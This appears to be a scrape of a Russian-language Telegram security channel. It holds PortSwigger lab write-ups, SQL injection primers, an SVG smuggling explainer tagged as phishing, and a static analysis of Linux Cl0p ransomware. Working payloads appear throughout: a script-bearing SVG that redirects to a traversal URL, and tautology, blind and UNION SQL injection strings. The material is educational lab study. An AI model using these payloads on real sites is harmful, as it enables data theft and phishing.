Exploiting_origin_server_normalization_for_web_cache_deception.pdf
421.6 KB
Привет^3
Продолжаю выкладывать райтапы на лабы по
Код
#web #writeup
@coffee_cube
Продолжаю выкладывать райтапы на лабы по
Web cache deception. Код
svg файлы вынесу сюда:
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "https://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="https://www.w3.org/2000/svg" xmlns:xlink="https://www.w3.org/1999/xlink">
<image height="863" id="Image" width="1700" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAEz0lEQVR4nAHEBDv7AAxxUTd8YtLTcEaHx40ZIJK60obC5Ou1cLF+TS4/XVlRSmvVi/w8Ca2/8IQgN1t1Vnz2z4Qbhi41a9vUGAAdrSE1KG1/JVhVWHa4MMlbjStnEqyHAJ955H/P5KELCfoLxZfvMBXHOrF5zXHK2FQDizWDvG8AL/aju1MAPftmRhxjuzxxxxwr6/sTuNGCrXbDgrp8f8pF4XXBCEmwevYo0UZcWY8m8y7drro6Fyfn/IZhDuf1Sra3ABF+HBy+0XxXRZPGpTTfOjn2WtbN6h3k3ZDaqjVIrcc2nzDsXX50RAmZWqJP/udjDRsBKoHV1tiUzBeO+AAPUxxJoPg1+LVX0ZGGuREcxlbsasPf3V88wgpJOvEe7/QM9Hygg1HYJEIi0/ELhzseWQyUEVX/5KFxcAYAGGSIkEfp0R2p8/iekqmiWWqmx4UJkbv79HhBPEmjcWrMq6OnnQlOlqlw45AKt7FYqns9bm2RKcaIXJKsAJfNE+IyVXL8eq752OYiBqePXfd5N/yVih9sbDBKGczO78uVB1hJPCV+YBWtBNpQ6vZHOyB5m9oZXr8+sACMrWSnXLEdiLu3S20yGUdFLJU1auqh7OUvMdi6FmGLjkMIz+qDNfLibseIgyNhHJjE5CLZpJ8fmQ/cRd8A7cTTpcVgtzIbWOcASAT8WePb1RfDQtTm7zJrFqLslkdMnDHBHv1w43qYv0EXDx/UTRRav8hpToTpGztfADmSJNLe+I/qQgntVRu+8YHIot93eGUgAAIPBUr/ALoq0TghgQKgT4tVSjOSRqV4Od243GfoLQ4uY+0t1QB5ktSY7avPeAitGgVwZ2YdbC8qijR5JZx6QuVAr87H03yNKyeLR7UMae5XGPLKnjee0NvDCCOQxQcPUMsAZl11CIYce3xIb/xyhTT6wV6H0XOF8My6bnS+WaEVFStSW0zoTRT2eFHMXq45KCN3aOA19/BVG0i9/DPuAP4Z833YYQN+QzXZYagmlb9vBHXZ0MJCBIfvs43jV1l1AXubIPVot5j9K5zkmu9IvFWES9C614mfBoN4dwASTMvwX+y63gzmNUzx1IIzdXJnlTxqJgWAEz8KyKSyOTXY8s5mC0f1H/zDXOIzE5iyGG1RODjQCJFLLOwA6+J5ZIlRkIXofOGOoHfNWGHZ2kH1c2ueLcw1T57fSw5D1/9n05ZeUUWpKLEYwCws8jAZm2/01M9bxbX5AGgdzTS6EW7F2YduQvY4YmfEYJ2XznsR3mU9L4ecSPLKCzuIAqkL9hN8eYlQwKAhhTFHqM15tRk6m6iR0wD2wNoLzCWjhF2SE67i0iEH/WGUt7KhRDiDslK6+KtX+tAVfSUi+NGE8JHUYjjotuk9eGKf+y0AvQcCJn0AtyEQZ5F//iLAZ1YdBSZ2K6+UXohWsjyz/5eVXJs45k3l85Lwxi/9rStDJCrpJ1Qul5wvG/juezX0KX23ADCzfLib3CQrgKhayon7oOZULnNkgKgkbIqgvqpzPVCRbTCgOi5lO6e/iSSFL3tlJYNrP1q4HBrF7MAEeQAUThoWm+8dYpYVW6ZKsNj8De13cqJXziBtn3iNoc60ZkmD3x0IcwQG+tKp/a3eGmz6dWpiv/Mm0G5hl0xSGlKET0w0lQAAAABJRU5ErkJggg=="/>
<script type="text/javascript">
<![CDATA[
document.location="https://0aef000f03f69da48140110400a500fc.web-security-academy.net/resources/123/..%2f..%2fmy-account"
]]>
</script>
</svg>
#web #writeup
@coffee_cube
👨💻2🦄2👍1🔥1😎1
Привет^3
Мне не нравится экспорт
✏️разбор
#web #writeup
@cofee_cube
Мне не нравится экспорт
markdown в pdf, поэтому сегодня попробую загрузить отчет через github. Продолжаю выкладывать разборы лаб направленных на кэширование динамических ресурсов. Отпишите в комменты, если так читать удобнее.✏️разбор
#web #writeup
@cofee_cube
🔥3👍2✍1❤1👨💻1
Привет^3
Продолжаю выкладывать райтапы на лабы
✏️Разбор
#web #writeup
@coffee_cube
Продолжаю выкладывать райтапы на лабы
Port Swigger. Последнее время ковырялся с ядром линукс. Нашел одну интересную штку, связанную с переменными окружения. Позже опишу, что у меня вышло)✏️Разбор
#web #writeup
@coffee_cube
🤔4❤2🔥1👀1
Привет^3
Вот очередной разбор, в котором необходимо крутить
✏️Разбор
#web #writeup
@coffee_cube
Вот очередной разбор, в котором необходимо крутить
SQL инъекцию 💉✏️Разбор
#web #writeup
@coffee_cube
👨💻2❤1✍1🔥1
Привет^3
Сегодня хочу рассказать про
Данный формат файл поддерживате
Пример использования можно посмотеть туть.
#phishing
@coffee_cube
Сегодня хочу рассказать про
SVG Smuggilng .SVG - это один из видов графики, который формируется с помощью геометрических объектов: линий, кругов, прямоугольников, кривых и прочих элементов.
Данный формат файл поддерживате
JavaScript код, который можно указать в блоке <![DATA[]]>. Сам формат файла следующий:
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "https://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="https://www.w3.org/2000/svg" xmlns:xlink="https://www.w3.org/1999/xlink">
<image height="863" id="Image" width="1700" xlink:href="data:image/png;base64,<base64 png>"/>
<script type="text/javascript">
<![CDATA[
alert('Smuggle code here');
]]>
</script>
</svg>
Пример использования можно посмотеть туть.
#phishing
@coffee_cube
👍3👨💻1
Привет^3
А вот и следующий разбор на тему
✏️Разбор
#web #writeup
@coffee_cube
А вот и следующий разбор на тему
SQL инъекций. Хочу попробовать выкладывать разборы пачкой на одну тему. Как вам идея?✏️Разбор
#web #writeup
@coffee_cube
👨💻6✍1
Привет^3
Прошло где-то два месяца с последнего поста. За это время произошло много весёлого и интересного — и в работе, и в жизни в целом. Наконец-то возвращаюсь к постингу )
Я решил, что хочу выкладывать более объёмные посты, которые сам написал. Репостить рандомные новости из других ИБ-каналов мне не особо интересно. Поставил себе цель — опубликовать несколько статей в журналечтобы получить бесплатную подписку. Над одной из них уже начал работу. Выходит довольно забавный ресерч. Поэтому буду стараться делать больше ресерчей, чтобы вам было что почитать.
Идея вкатиться в баг-баунти никуда не делась, так что продолжал решать задачки на
Так что — ожидайте :3
@coffee_cube
Прошло где-то два месяца с последнего поста. За это время произошло много весёлого и интересного — и в работе, и в жизни в целом. Наконец-то возвращаюсь к постингу )
Я решил, что хочу выкладывать более объёмные посты, которые сам написал. Репостить рандомные новости из других ИБ-каналов мне не особо интересно. Поставил себе цель — опубликовать несколько статей в журнале
xaker Идея вкатиться в баг-баунти никуда не делась, так что продолжал решать задачки на
Port Swigger Academy. Теперь буду постить решения паком.Так что — ожидайте :3
@coffee_cube
2❤7⚡3🤝2❤🔥1👍1🍓1😎1
Привет^3
Сегодня будет подборка лаб по
Причиной такой уязвимости является отсутствие фильтрации, или недостаточно хорошая фильтрация входящих данных. То есть, для обнаружения инъекции нужно найти точку входа - те места, где можно подставлять данные. Например форма входа на сайт, поиск по сайту, отправка комментария и т. п.
📎Пример
Пусть у нас будет следующий запрос к БД на стороне сервера:
Предположим, значение
Список разборов:
✏️SQL injection attack, listing the database contents on Oracle
✏️SQL injection attack, listing the database contents on non-Oracle databases
✏️SQL injection attack, querying the database type and version on MySQL and Microsoft
✏️SQL injection attack, querying the database type and version on Oracle
✏️SQL injection vulnerability allowing login bypass
✏️SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
#web #writeup
@coffee_cube
Сегодня будет подборка лаб по
SQL-инъекциям.SQL-инъекция - это внедрение произвольного SQL-запроса к базе данных. Такая возможность отправки запроса, означает ошибку безопасности, допущенную разработчиком при написании кода. Наличие данной уязвимости может привести к краже конфиденциальной информации из БД. Входит в OWASP TOP 10. Причиной такой уязвимости является отсутствие фильтрации, или недостаточно хорошая фильтрация входящих данных. То есть, для обнаружения инъекции нужно найти точку входа - те места, где можно подставлять данные. Например форма входа на сайт, поиск по сайту, отправка комментария и т. п.
📎Пример
Пусть у нас будет следующий запрос к БД на стороне сервера:
SELECT * FROM news WHERE id='id'
Предположим, значение
id мы можем контролировать. Значит, передав в id следующую строку 1' or true-- -, мы изменим логику запроса.
SELECT * FROM news WHERE id='1' or true-- -'
Список разборов:
✏️SQL injection attack, listing the database contents on Oracle
✏️SQL injection attack, listing the database contents on non-Oracle databases
✏️SQL injection attack, querying the database type and version on MySQL and Microsoft
✏️SQL injection attack, querying the database type and version on Oracle
✏️SQL injection vulnerability allowing login bypass
✏️SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
#web #writeup
@coffee_cube
🔥5❤3😎2👍1👨💻1
Вот что у человека могло случиться в 05:33, что внезапно понадобился взлом ТГ? В 5 утра, Карл...
#memes
@coffee_cube
#memes
@coffee_cube
1🗿7🥰1😁1👨💻1💅1
Привет^3🦠
Сегодня покажу вам разбор несложной малвари под
Реверс-инжиниринг помогает разобраться в том, как работает ВПО(вредоносное программное обеспечение). Более подробно можно почитать туть.
При анализе малвары мне нравится извелкать интересные приемы, которые в ней используются. А далее воспроизводить их для дальнейшего детектаи забавы ради.
Обычно проводится статический и динамический анализ для полного понимания алгоритма работы программы.
В этом посте я проведу статический анализ. Динамический анализ и небольшой интерактивчик будет на следующей неделе:3
▪︎ Первым делом
Обычно я смотрю файл через утилиту Detect It Easy. Вот ее вывод:
Выглядит так, что таблица символов не удалена, поэтому можно сразу найти
▪︎ main
В функции
Далее в бесконечном цикле вызывается функция
▪︎ do_heartbeat()
Из функции можно извлечь все директории, с которыми малвара взимодействует. (скриншот 2)
▪︎ find
Конечно же следом пойду смотреть фунцию
Алгоритм функции достаточно простой:
1. Открывает директорию и проходится по всем файлам в ней. Если это
2. Вызвает функцию
3. Далее происходит вызов
▪︎ CreatRadMe
Ничего особо интересного тут нет. Просто создается файл со следующим содержанием. (скриншот 4)
▪︎ EncrFile
Думаю, что ключевая функция во всем малваре -
По сути для файла изменяются права с помощью
Файл шифрутеся с помощью алгоритма
▪︎ Итог
Я провел статический анализ не сложного шифровальщика-демона(такие бываю не часто, но об этом напишу позже❤️). Так как ключ хранится рядом с зашифрованным файлом, то мы можем написать дешифровшик. Динамическим анализом и написанием дешифровшика мы займемся в следующий вторник. Так что ожидайте с нетерпением:3
#malware #linux
@coffee_cube
Сегодня покажу вам разбор несложной малвари под
Linux.Реверс-инжиниринг помогает разобраться в том, как работает ВПО(вредоносное программное обеспечение). Более подробно можно почитать туть.
При анализе малвары мне нравится извелкать интересные приемы, которые в ней используются. А далее воспроизводить их для дальнейшего детекта
Обычно проводится статический и динамический анализ для полного понимания алгоритма работы программы.
В этом посте я проведу статический анализ. Динамический анализ и небольшой интерактивчик будет на следующей неделе:3
▪︎ Первым делом
Обычно я смотрю файл через утилиту Detect It Easy. Вот ее вывод:
Info:
Size: 1028096
File type: ELF32
String: ELF(386)
Extension: elf
Operation system: Red Hat Linux(ABI: 2.6.9)
Architecture: 386
Mode: 32-bit
Type: EXEC
Endianness: LE
Выглядит так, что таблица символов не удалена, поэтому можно сразу найти
main. Закидываб бинарь в IDA Pro▪︎ main
В функции
main происходит создание процесса-демона с вызовом chroot() в корневую директорию /. (скриншот 1)Далее в бесконечном цикле вызывается функция
do_heartbeat().▪︎ do_heartbeat()
Из функции можно извлечь все директории, с которыми малвара взимодействует. (скриншот 2)
/u01, /u02, /u03, /u04 - это часто используемые точки монтирования в Linux при работе с базами данных Oracle.▪︎ find
Конечно же следом пойду смотреть фунцию
find. (скриншот 3)Алгоритм функции достаточно простой:
1. Открывает директорию и проходится по всем файлам в ней. Если это
. или .., то их пропускает;2. Вызвает функцию
CreatRadMe (да-да, это не опечатка). По названию понятно, что создается README файл (скриншот 4);3. Далее происходит вызов
EncrFile, если не находит подстроку C_I_0P в пути до файла. Если же это директория, то рекурсивно вызывается find;▪︎ CreatRadMe
Ничего особо интересного тут нет. Просто создается файл со следующим содержанием. (скриншот 4)
▪︎ EncrFile
Думаю, что ключевая функция во всем малваре -
EncrFile. (скриншот 5)По сути для файла изменяются права с помощью
chmod() на rw-------. Эти же права используются далее для работы с файлами. Файл шифрутеся с помощью алгоритма
rc4. Ключ генерируется для каждого файла отдельно, и, что интересно, записывается в файл рядом с раширением .C_I_0P с помощью функции CreateKey. Это означает, что получится эти файлы расшифровать) При этом шифруется максимум 100000000 байт файла.▪︎ Итог
Я провел статический анализ не сложного шифровальщика-демона(такие бываю не часто, но об этом напишу позже❤️). Так как ключ хранится рядом с зашифрованным файлом, то мы можем написать дешифровшик. Динамическим анализом и написанием дешифровшика мы займемся в следующий вторник. Так что ожидайте с нетерпением:3
#malware #linux
@coffee_cube
1🤝5👨💻4❤2👍2✍1❤🔥1
Привет^3
Сегодня продолжим разбираться в
✍️Что такое SQL инъекция
Логично предположить, что далеко не всегда сайт отображает ошибку при выполнение запроса. Такие уязвимости все еще можно эксплуатировать. У них даже есть отдельное название -
Для того, чтобы ее найти, необходимо отслеживать изменения при отправке различных запросов: отсутствие части информации, появление новых элементов, отсутствие контента.
Поиск слепой инъекции начинается с определения параметров и использования логических операторов.
▪︎ascii
Одной из техник является использование функции
Зачем это нам нужно? В комбинации с функцией
Синтаксис
Пример полезной нагрузки:
В случае успешного выполнения условия мы увидим изменение на странице. Чтобы не перебирать все символы линейно, можно использовать алгоритм бинарного поиска)
Список разборов:
✏️Blind SQL injection with conditional errors
✏️Blind SQL injection with conditional responses
✏️Blind SQL injection with out-of-band data exfiltration
✏️Blind SQL injection with out-of-band interaction
✏️Blind SQL injection with time delays and information retrieval
✏️Blind SQL injection with time delays
#writeup #web
@coffee_cube
Сегодня продолжим разбираться в
SQL-инъекциях дальше. Предыдущие разборы можно посмотреть туть:✍️Что такое SQL инъекция
Логично предположить, что далеко не всегда сайт отображает ошибку при выполнение запроса. Такие уязвимости все еще можно эксплуатировать. У них даже есть отдельное название -
Blind. А значить для SQL-инъекции название будет Blind SQL-инъекция.Для того, чтобы ее найти, необходимо отслеживать изменения при отправке различных запросов: отсутствие части информации, появление новых элементов, отсутствие контента.
Поиск слепой инъекции начинается с определения параметров и использования логических операторов.
▪︎ascii
Одной из техник является использование функции
ascii. Она возвращает значение ASCII для конкретного строчного символа. Возвращает 0, если str - пустая строка.
SELECT ASCII('a');
Зачем это нам нужно? В комбинации с функцией
SUBSTRING, которая извлекает подстроку из строки начиная с любой позиции, мы можем извлекать по одному символу из таблицы и сравнивать его с кодом ascii.Синтаксис
SUBSTRING:
SUBSTRING(string, start, length)
Пример полезной нагрузки:
1' and ascii(substring((select database()),1, 1))>97--+
В случае успешного выполнения условия мы увидим изменение на странице. Чтобы не перебирать все символы линейно, можно использовать алгоритм бинарного поиска)
Список разборов:
✏️Blind SQL injection with conditional errors
✏️Blind SQL injection with conditional responses
✏️Blind SQL injection with out-of-band data exfiltration
✏️Blind SQL injection with out-of-band interaction
✏️Blind SQL injection with time delays and information retrieval
✏️Blind SQL injection with time delays
#writeup #web
@coffee_cube
❤3❤🔥2👍1👨💻1
Привет^3
Это второй пост про анализ шифровальщика
В данном разборе я покажу, как для него можно написать дешифровщик. Так же приложу зашифрованные файлы, с которыми вы можете поиграться сами:3
✏️Читать далее
Файлы из статьи:
📄Зашифрованный файл
🔑Ключ от файла
#malware #linux #reverse
@coffee_cube
Это второй пост про анализ шифровальщика
Cl0p . Первый можно найти по этой ссылке: Cl0p. Статический анализ.В данном разборе я покажу, как для него можно написать дешифровщик. Так же приложу зашифрованные файлы, с которыми вы можете поиграться сами:3
✏️Читать далее
Файлы из статьи:
📄Зашифрованный файл
🔑Ключ от файла
#malware #linux #reverse
@coffee_cube
1👨💻3✍1❤🔥1
Привет^3 😈
Продолжаем копать в сторону
✍️Что такое SQL инъекция
✍️Blind SQL инъекции
Данная инъекция основана на объединении выборки данных с помощью
Если мы нашли уязвимый параметр и поняли, как обрамлять данные(например,
1. Определить количество колонок в оригинальном запросе;
2. Найти колонку, которая отображается на странице;
3. Начать вытаскивать данные о БД с помощью функций типа
Получаем названия БД
Выясняем название колонок
Вытаскиваем данные из таблцицы
Собрав информацию о БД мы можем вытаскивать нужные нам данные. А вот список разборов на лабы с данным типом уязвимости:
✏️SQL injection UNION attack, determining the number of columns returned by the query
✏️SQL injection UNION attack, finding a column containing text
✏️SQL injection UNION attack retrieving data from other tables
✏️SQL injection UNION attack retrieving multiple values in a single column
✏️SQL injection with filter bypass via XML encoding
✏️Visible error-based SQL injection
#web #writeup
@coffee_cube☕
Продолжаем копать в сторону
SQL-инъекций. На очереди UNION based injection. Предыдущие разборы можно посмотреть туть:✍️Что такое SQL инъекция
✍️Blind SQL инъекции
Данная инъекция основана на объединении выборки данных с помощью
UNION.
SELECT column_name FROM table1 UNION SELECT column_name FROM table2;
Если мы нашли уязвимый параметр и поняли, как обрамлять данные(например,
' или ", или вовсе без кавычек), дальше нужно:1. Определить количество колонок в оригинальном запросе;
2. Найти колонку, которая отображается на странице;
3. Начать вытаскивать данные о БД с помощью функций типа
database(), version() и т.д.Получаем названия БД
'-1' UNION SELECT TABLE_NAME, 2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()--+
Выясняем название колонок
'-1' UNION SELECT COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=(SELECT TABLE_NAME, 2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()--+)-- -
Вытаскиваем данные из таблцицы
'-1' UNION SELECT news,2 FROM table_name--+-
Собрав информацию о БД мы можем вытаскивать нужные нам данные. А вот список разборов на лабы с данным типом уязвимости:
✏️SQL injection UNION attack, determining the number of columns returned by the query
✏️SQL injection UNION attack, finding a column containing text
✏️SQL injection UNION attack retrieving data from other tables
✏️SQL injection UNION attack retrieving multiple values in a single column
✏️SQL injection with filter bypass via XML encoding
✏️Visible error-based SQL injection
#web #writeup
@coffee_cube☕
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤2✍1❤🔥1👍1🔥1👨💻1
Привет^3
Мода добралась и до проездных. Очевидная выгода: 500 рублей всего за 700. Кому нужен✨ PODOROZHNIK✨ ?)
#memes
@coffee_cube
Мода добралась и до проездных. Очевидная выгода: 500 рублей всего за 700. Кому нужен
#memes
@coffee_cube
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1🥰3😁3❤🔥1🐳1👻1
